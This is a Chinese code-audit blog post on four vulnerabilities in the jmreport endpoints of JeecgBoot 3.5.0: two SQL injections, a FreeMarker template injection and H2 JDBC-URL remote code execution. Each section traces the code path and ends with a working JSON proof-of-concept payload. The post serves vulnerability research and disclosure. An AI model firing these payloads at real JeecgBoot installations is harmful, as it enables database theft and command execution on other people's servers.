【代码审计】JeecgBoot-3.5.0 四处安全问题分析

目录

[/jmreport/qurestSql sql注入漏洞](#/jmreport/qurestSql sql注入漏洞)

[/jmreport/show sql注入漏洞](#/jmreport/show sql注入漏洞)

[/jmreport/queryFieldBySql SSTI注入漏洞](#/jmreport/queryFieldBySql SSTI注入漏洞)

[/jmreport/testConnection 打H2RCE](#/jmreport/testConnection 打H2RCE)


/jmreport/qurestSql sql注入漏洞

项目用的mybatis

关注这个类

首先从传入的JSON中提取apiSelectId字段值,作为参数被getById调用

返回的值是jimu_report_db表里查询的数据,id为用户传入的apiSelectId

比如传入apiSelectId为1316997232402231298,则返回包括db_dyn_sql语句:

select * from rep_demo_employee where id='${id}'

查询到的包含db_dyn_sql语句的查询结果和用户输入的JSON接着传入qurestechSql

首先将DbDynSql赋给var3,将id作为参数被list调用

list的实现

去查询jimu_report_db_param表

后续再合并外部参数:将调用方传入的 paramObject 全部放入 var5,若参数名冲突,外部参数会覆盖预设参数,比如这里就是去覆盖id预设参数1

只要将传入的id设置为恶意sql语句即可注入

select * from rep_demo_employee where id='${id}'

最终poc:

复制代码
{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

/jmreport/show sql注入漏洞

先是从用户传入的json中获取id,params参数,调用show方法

其中params也要是以一个JSON格式的形式去传

先去调用reportDao.get 从 jimu_report表 取到一个JimuReport对象

getDataById里再取JimuReport的id去从jimu_report_db里去找sql语句

最终poc:

复制代码
{
    "id":"961455b47c0b86dc961e90b5893bff05",
    "params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"
}

/jmreport/queryFieldBySql SSTI注入漏洞

最终会调用parseReportSql

不传paramArray的时候调用e.a

接着往下走

最后就是个FreeMarker模板渲染

打SSTI

复制代码
{
    "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"calc\")}"
}

/jmreport/testConnection 打H2RCE

poc:

复制代码
{
  "id": "1",
  "code": "dataSource1",
  "dbType": "H2",
  "dbDriver": "org.h2.Driver",
  "dbUrl": "jdbc:h2:mem:test;init=CREATE TRIGGER shell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('calc')\u000A$$",
  "dbName": "test",
  "dbUsername": "sa",
  "dbPassword": "",
  "connectTimes": 5
}
相关推荐
乌暮1 小时前
请求进门先安检:Spring 拦截器与统一功能实战指南
java·开发语言·后端·学习·spring
学长毕设1 小时前
基于SpringBoot的烘焙商品商品系统-附源码
java·spring boot·后端
其实防守也摸鱼1 小时前
Chrome 扩展安全攻防实录:从攻击面到防御实践
开发语言·前端·网络·chrome·安全·web安全·php
金銀銅鐵2 小时前
[Java] 用纯 Swing 做一个《論語·學而》阅读器
java·ai编程·交互设计
艾伦_耶格宇2 小时前
【kubernetes - 1.28版本】-11 K8S核心组件
java·容器·kubernetes
2301_780789663 小时前
深度伪造即服务:新型网络诈骗的“完美面具”与识别之道
java·网络·ddos
LHICOD3 小时前
Linux-2
java·linux·后端·jar·vmware·svm·vm
香蕉大香蕉(06敬畏市场)3 小时前
MySQL 单点详解(03)
java·数据库·mysql·面试·八股·大厂实习
呆呆敲代码的小Y3 小时前
【实战精选面试题】C# 面试题详细解答,按难易程度排序
android·java·游戏·c#·游戏开发·unity面试题·c#面试题
水无痕simon3 小时前
3、工程重构
java·spring cloud·重构